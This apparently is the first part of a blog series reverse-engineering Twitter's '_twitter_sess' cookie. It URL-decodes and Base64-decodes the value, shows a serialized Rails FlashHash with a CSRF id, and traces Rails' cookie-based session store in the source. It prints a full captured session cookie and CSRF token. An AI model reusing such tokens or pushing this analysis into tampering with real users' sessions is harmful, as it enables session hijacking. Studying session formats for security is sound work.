Set-Cookie: param_in_reply_to=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_source=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_user=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: dispatch_action=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%250AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%250AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%250AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--155a3cf21b10246345bea30752bde45e6f841de0; domain=.twitter.com; path=/
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 5741
Connection: close

Look at that _twitter_sess cookie!! That looks yummy!

First thing to me is that this screams base 64. Second thing is the cookie has some URL escaped characters. (After a while, seeing %25 makes me just think of '%'. And, seeing 3D makes me think of '='. So, having two '==' at the end of a string is a common Base 64 encoding pattern.)

Opening up WebScarab's transcoder (Tools -> Transcoder), pasting the text, and running "URL decode" gives this:
BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%0AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%0AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%0AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--155a3cf21b10246345bea30752bde45e6f841de0

So, the initial %25's were transcoded to %. This means the URL needs to be decoded once more:
BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1
ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz
OTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6
OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--155a3cf21b10246345bea30752bde45e6f841de0

That is some well-formed Base64 right there! Err, except for the "--155[...]" at the end. Base64 is described in RFC 1421, Section 4.3.2.4. Implementations of Base64 will add or neglect a linefeed. WebScarab wants a string with a linefeed at the 76nd character, whereas system utils such as uudecode on a Mac or FreeBSD want the linefeed at a specific count (after the 72nd character, IIRC). Here's a quick and dirty python script that just wants a full line without any linefeeds:

import base64
mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="
print base64.b64decode(mystr)

Notice that everything from the dashes onwards has been removed, since this is not part of the Base64 string. Running this outputs the following:
python
Python 2.5.1 (r251:54863, Jun 17 2009, 20:37:34) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="
>>> print base64.b64decode(mystr)
{ :
         csrf_id"%180d4a52203c61e65dc82f99bcb23584:trans_prompt0:id"%98eb2cd2a068b244b07e93958442f982"
flashIC:'ActionController::Flash::FlashHash{:
@used{
>>> 

Running this as a script, saving the output, and running my favorite file identification tool, file(1), reports this:
python b64.py > b64.bin && file b64.bin
b64.bin: data

:-( Sad Panda face...

But, look at the output from before. Happy Panda face! ;-) The first handful of hits on Google for the string "flashIC:'ActionController::Flash::FlashHash" returns references to Ruby and Ruby on Rails. Looking at the first hit, "Class
ActionController::Flash::FlashHash" is a gem (pun intended)!

Who Am I?

What do we know? We have a (possible) Twitter session identifier (inferring, since it was sent to us by Twitter and because of its name, _twitter_sess) that is a double URL encoded, Base64 blob of data that seems to relate to the Ruby on Rails, or at least Ruby, in some way. I downloaded Ruby on Rails 2.3.3 and did a quick grep for "Flash::FlashHash" in the source code. This is what I got:
setenv grepstr 'Flash::FlashHash'
find . -exec grep -l $grepstr \{\} \;
./doc/api/classes/ActionController/Flash/FlashHash.html
./doc/api/classes/ActionController/Flash.html
./doc/api/fr_class_index.html
./doc/api/fr_method_index.html
./vendor/rails/actionpack/lib/action_controller/test_process.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb

So, a couple HTML files and two .rb file. I'm not a Ruby coder. I briefly looked at Ruby years ago and it hurt my eyes. Python is my friend. So, I'll infer that the .rb files are Ruby source code files. These two files seem to be related to unit tests. Let's change the search string a bit:
setenv grepstr 'FlashHash'
find . -exec grep -l $grepstr \{\} \;
./doc/api/classes/ActionController/Flash/FlashHash.html
./doc/api/classes/ActionController/Flash.html
./doc/api/classes/ActionController/TestProcess.html
./doc/api/fr_class_index.html
./doc/api/fr_method_index.html
./vendor/rails/actionpack/lib/action_controller/flash.rb
./vendor/rails/actionpack/lib/action_controller/test_process.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/flash.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb

OK, so one more HTML file and two more .rb files. The "./vendor/rails/actionpack/lib/action_controller/flash.rb" file seems interesting. Opening that up and scanning the file quickly shows some module and class definitions. But, here's something interesting:
      def store(session, key = "flash")
        return if self.empty?
        session[key] = self
      end

This caught my eye pretty quickly. Inferring again, we have a method called "store" that wants something called "session" and "key", which is set to "flash". When I see key like this, I think of a hash data structure. The first check seems to look to see if session is empty, and if so, bail. (This implies that something else sets up session.) Then, what looks like a hash key action, sets the key called "key" to the object, "self". So, this flash object is stored in session.

Seeing that "session" is used here, let's look for that:
setenv grepstr 'session'
find . -exec grep -l $grepstr \{\} \;                ./CHANGELOG
./doc/api/classes/ActionController/Base.html
./doc/api/classes/ActionController/Cookies.html
./doc/api/classes/ActionController/Dispatcher.html
./doc/api/classes/ActionController/Filters/ClassMethods.html
./doc/api/classes/ActionController/Flash/FlashHash.html
[...]

Err, 205 documents later... That's a lot. Need a better search:
find . -name session\*.rb
./vendor/rails/actionpack/lib/action_controller/session_management.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb
./vendor/rails/activerecord/lib/active_record/session_store.rb
./vendor/rails/activerecord/pkg/activerecord-2.3.3/lib/active_record/session_store.rb
./vendor/rails/railties/configs/initializers/session_store.rb
./vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb

Ah, much better! That first hit, ./vendor/rails/actionpack/lib/action_controller/session_management.rb, looks good. Opening that up and scanning the documentation shows this:
    module ClassMethods
      # Set the session store to be used for keeping the session data between requests.
      # By default, sessions are stored in browser cookies (:cookie_store),
      # but you can also specify one of the other included stores (:active_record_store,
      # :mem_cache_store, or your own custom class.

For emphasis:
By default, sessions are stored in browser cookies (:cookie_store)

K. The rest of the file seems light. Let's look for cookie_store only in .rb files:
setenv grepstr 'cookie_store'
find . -name lib/\*.rb -exec grep -l $grepstr \{\} \;
./vendor/rails/actionpack/lib/action_controller/session_management.rb
./vendor/rails/actionpack/lib/action_controller.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/test/controller/session/cookie_store_test.rb
./vendor/rails/actionpack/test/controller/session/cookie_store_test.rb

Opening "./vendor/rails/actionpack/lib/action_controller.rb" and scanning seems to me to be a main file that loads other includes. Looking for "session", I come across this snippet:
  module Session
    autoload :AbstractStore, 'action_controller/session/abstract_store'
    autoload :CookieStore, 'action_controller/session/cookie_store'
    autoload :MemCacheStore, 'action_controller/session/mem_cache_store'
  end

I'm curious on the cookie store for the session. Let's take a look for cookie_store.rb.
find . -name cookie_store.rb
./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session/cookie_store.rb

"./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb" looks like it matches "action_controller/session/cookie_store". Open that file up, grab a drink of choice and I'll follow-up in Part 2.

Blog Archive